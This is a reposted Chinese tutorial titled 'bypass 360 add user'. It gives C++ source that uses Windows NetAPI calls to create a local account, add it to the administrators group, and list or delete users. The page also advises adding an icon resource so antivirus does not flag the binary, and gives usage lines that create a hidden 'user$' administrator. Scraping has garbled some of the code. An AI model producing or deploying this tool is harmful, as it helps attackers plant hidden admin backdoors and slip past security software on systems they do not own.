程序笔记   发布时间:2022-07-19  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了bypass 360添加用户大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

一、原理

使用Windows API可执行该操作

二、C++源代码

/* UNICODE */
#ifndef UNICODE
#define UNICODE
#endif
/* 头文件 */
#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
/*************************************
* AddUser
* 功能    增加用户
* 参数    szServerName,主机名,如果为本机增加用户,设置为NULL
*           szUserName,用户名
*           szpassword,密码
**************************************/
int addUser(LPWSTR szServerName,
    LPWSTR szUserName,
    LPWSTR szpassword)
{
    user_iNFO_1 ui;
    DWORD dwLevel = 1;  // 使用 user_iNFO_1 作为参数
    DWORD dwError = 0;
    NET_API_STATUS nStatus;
    // 填充 user_iNFO_1
    ui.usri1_name = szUserName; // 用户名
    ui.usri1_password = szpassword; // 密码
    ui.usri1_priv = user_PRIV_USER; // privilege  
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    // 调用 NetUserAdd 增加用户
    nStatus = NetUserAdd(szServerName,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);
    // 判断结果
    /*if (nStatus == NERR_success)
    {
        wprintf((const wchar_t*)stderr, L"User %s has been successfully added on %sn",
            szUserName, szServerName);
    }
    else
    {
        fprintf(stderr, "A system error has occurred: %dn", nStatus);
    }*/
    return 0;
}
/*************************************
* AddUserToGroup
* 功能    为用户组增加用户
* 参数    szServerName,主机名,如果为本机,设置为NULL
*           szUserName,用户名
*           szGroup,用户组名
**************************************/
int addUserToGroup(LPWSTR szServerName,
    LPWSTR szUserName,
    LPWSTR szGroup)
{
    NET_API_STATUS nStatus;
    // 调用 NetGroupAddUser
    wchar_t szAccountName[20] = { 0 };
    const wchar_t* name;
    name = (const wchar_t*)szUserName;
    wcscpy(szAccountName, Name);
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = szAccountName;
    nStatus = NetLocalGroupAddMembers(
        NULL,
        szGroup,
        3,
        (LPBYTE)&account,
        1
    );
    // 判断结果
   /* if (nStatus == NERR_success)
        fwprintf(stderr, L"User %s has been successfully added on %sn",
            szUserName, szServerName);
    else if (nStatus == ERROR_ACCESS_DENIED)
    {
        printf("1");
    }
    else if (nStatus == NERR_InvalidComputer)
    {
        printf("2");
    }
    else if (nStatus == NERR_NotPriMary)
    {
        printf("3");
    }
    else if (nStatus == NERR_SpeGroupOp)
    {
        printf("4");
    }
    else if (nStatus == NERR_UserNotFound)
    {
        printf("5");
    }
    else if (nStatus == NERR_GroupNotFound)
    {
        printf("6");
    }*/


    return 0;
}
/*************************************
* DelUser
* 功能    删除用户
* 参数    szServerName,主机名,如果为本机,设置为NULL
*           szUserName,用户名
**************************************/
int DelUser(LPWSTR szServerName, LPWSTR szUserName)
{
    DWORD dwError = 0;
    NET_API_STATUS nStatus;
    // 调用 NetUserDel 删除用户
    nStatus = NetUserDel(szServerName, szUserName);
    // 判断并显示结果
    /*if (nStatus == NERR_success)
        fwprintf(stderr, L"User %s has been successfully deleted on %sn",
            szUserName, szServerName);
    else
        fprintf(stderr, "A system error has occurred: %dn", nStatus);*/
    return 0;
}
/*************************************
* int Listusers(LPWSTR pszServerName)
* 功能    列举用户
* 参数    szServerName,主机名,如果为本机,设置为NULL
**************************************/
int Listusers(LPWSTR pszServerName)
{
    LPuser_iNFO_0 pBuf = NULL;
    LPuser_iNFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0;
    DWORD dw@R_555_10586@lEntries = 0;
    DWORD dwResumeHandle = 0;
    DWORD i;
    DWORD dw@R_555_10586@lCount = 0;
    NET_API_STATUS nStatus;
    // 循环,直到可以成功调用 NetUserEnum
    do
    {
        // 调用NetUserEnum函数
        nStatus = NetUserEnum(pszServerName,
            dwLevel,// 这里设置为0,使用 LPuser_iNFO_0 返回结果
            FILTER_NORMAL_ACCOUNT, // 只列举“正常”类型的用户
            (LPBYTE*)&pBuf,// LPuser_iNFO_0 保存返回结果
            // MAX_PREFERRED_LENGTH,内存由API分配,需要在之后调用NetApiBufferFree释放
            dwPrefMaxLen,
            &dwEntriesRead,// 读了的 Entries
            &dw@R_555_10586@lEntries,// 一共的 Entries
            &dwResumeHandlE);
        // 判断是否成功
        if ((nStatus == NERR_success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                // 循环读取用户信息
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != null);
                    if (pTmpBuf == NULL)
                    {
                        fprintf(stderr, "An access violation has occurredn");
                        break;
                    }
                    // 输出
                    wprintf(L"t-- %sn", pTmpBuf->usri0_Name);
                    // 下一个
                    pTmpBuf++;
                    dw@R_555_10586@lCount++;
                }
            }
        }
        else
            fprintf(stderr, "A system error has occurred: %dn", nStatus);
        // 释放内存
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA); // end do
    // 释放内存
    if (pBuf != NULL)
        NetApiBufferFree(pBuf);
    fprintf(stderr, "@R_555_10586@l of %d usersnn", dw@R_555_10586@lCount);
    return 0;
}
/*************************************
* int ListGroup(LPWSTR pszServerName)
* 功能    列举用户组
* 参数    szServerName,主机名,如果为本机,设置为NULL
**************************************/
int ListGroup(LPWSTR pszServerName)
{
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0;
    DWORD dw@R_555_10586@lEntries = 0;
    DWORD dwResumeHandle = 0;
    DWORD i;
    DWORD dw@R_555_10586@lCount = 0;
    NET_API_STATUS nStatus;
    LPLOCALGROUP_INFO_0 pBuf = NULL;
    LPLOCALGROUP_INFO_0 pTmpBuf;
    do // begin do
    {
        // 调用NetLocalGroupEnum 参数设置与NetLocalGroup类似
        nStatus = NetLocalGroupEnum(
            pszServerName,
            0,
            (LPBYTE*)&pBuf,
            dwPrefMaxLen,
            &dwEntriesRead,
            &dw@R_555_10586@lEntries,
            &dwResumeHandlE);
        // 判断结果
        if ((nStatus == NERR_success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                // 循环输出
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != null);
                    if (pTmpBuf == NULL)
                    {
                        fprintf(stderr, "An access violation has occurredn");
                        break;
                    }
                    wprintf(L"t-- %sn", pTmpBuf->lgrpi0_Name);
                    pTmpBuf++;
                    dw@R_555_10586@lCount++;
                }
            }
        }
        else
            fprintf(stderr, "A system error has occurred: %dn", nStatus);
        // 释放内存
        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA); // end do
    if (pBuf != NULL)
        NetApiBufferFree(pBuf);
    fprintf(stderr, "@R_555_10586@l of %d groupsnn", dw@R_555_10586@lCount);
    return 0;
}
/*************************************
* ShowUsersInfo
* 功能    显示指定用户的信息
* 参数    szServerName,主机名,如果为本机,设置为NULL
*           pszUserName,用户名
**************************************/
int ShowUsersInfo(LPWSTR pszServerName, LPWSTR pszUserName)
{
    DWORD dwLevel = 4;// 使用 LPuser_iNFO_4 返回结果
    LPuser_iNFO_4 pBuf = NULL;
    NET_API_STATUS nStatus;
    nStatus = NetUserGeTinfo(pszServerName,
        pszUserName,
        dwLevel,    // pBuf参数类型
        (LPBYTE*)&pBuf);

    // 判断并输出结果
    if (nStatus == NERR_success)
    {
        if (pBuf != NULL)
        {
            wprintf(L"ntAccount:      %sn", pBuf->usri4_Name);
            wprintf(L"tComment:      %sn", pBuf->usri4_comment);
            wprintf(L"tUser comment: %sn", pBuf->usri4_usr_comment);
            wprintf(L"tFull name:    %sn", pBuf->usri4_full_Name);
            wprintf(L"tpriv:    %dn", pBuf->usri4_priv);
        }
    }
    else
        fprintf(stderr, "A system error has occurred: %dn", nStatus);
    // 释放内存
    if (pBuf != NULL)
        NetApiBufferFree(pBuf);
    return 0;
}
/*************************************
* wmain
* 功能    入口函数,根据参数判断需要调用的功能函数
* 参数    参见usage输出
**************************************/
int __cdecl wmain(int ac, wchar_t* av[])
{
    if (ac == 4 && lstrcmpW(av[1], L"-a") == 0)
    {
        AddUser(NULL, av[2], av[3]);
    }
    else if (ac == 4 && lstrcmpW(av[1], L"-g") == 0)
    {
        AddUserToGroup(NULL, av[2], av[3]);
    }
    else    if (ac == 3 && lstrcmpW(av[1], L"-i") == 0)
    {
        ShowUsersInfo(NULL, av[2]);
    }
    else    if (ac == 2 && lstrcmpW(av[1], L"-i") == 0)
    {
        Listusers(null);
        ListGroup(null);
    }
    else    if (ac == 3 && lstrcmpW(av[1], L"-d") == 0)
    {
        DelUser(NULL, av[2]);
    }
    return 0;
}

三、免杀

可以增加图标资源,即可免杀

四、命令参数

add.exe -a user$ password    增加用户
add.exe -g user$ administrators  将用户添加到管理员组
add.exe -d user$   删除用户

大佬总结

以上是大佬教程为你收集整理的bypass 360添加用户全部内容,希望文章能够帮你解决bypass 360添加用户所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。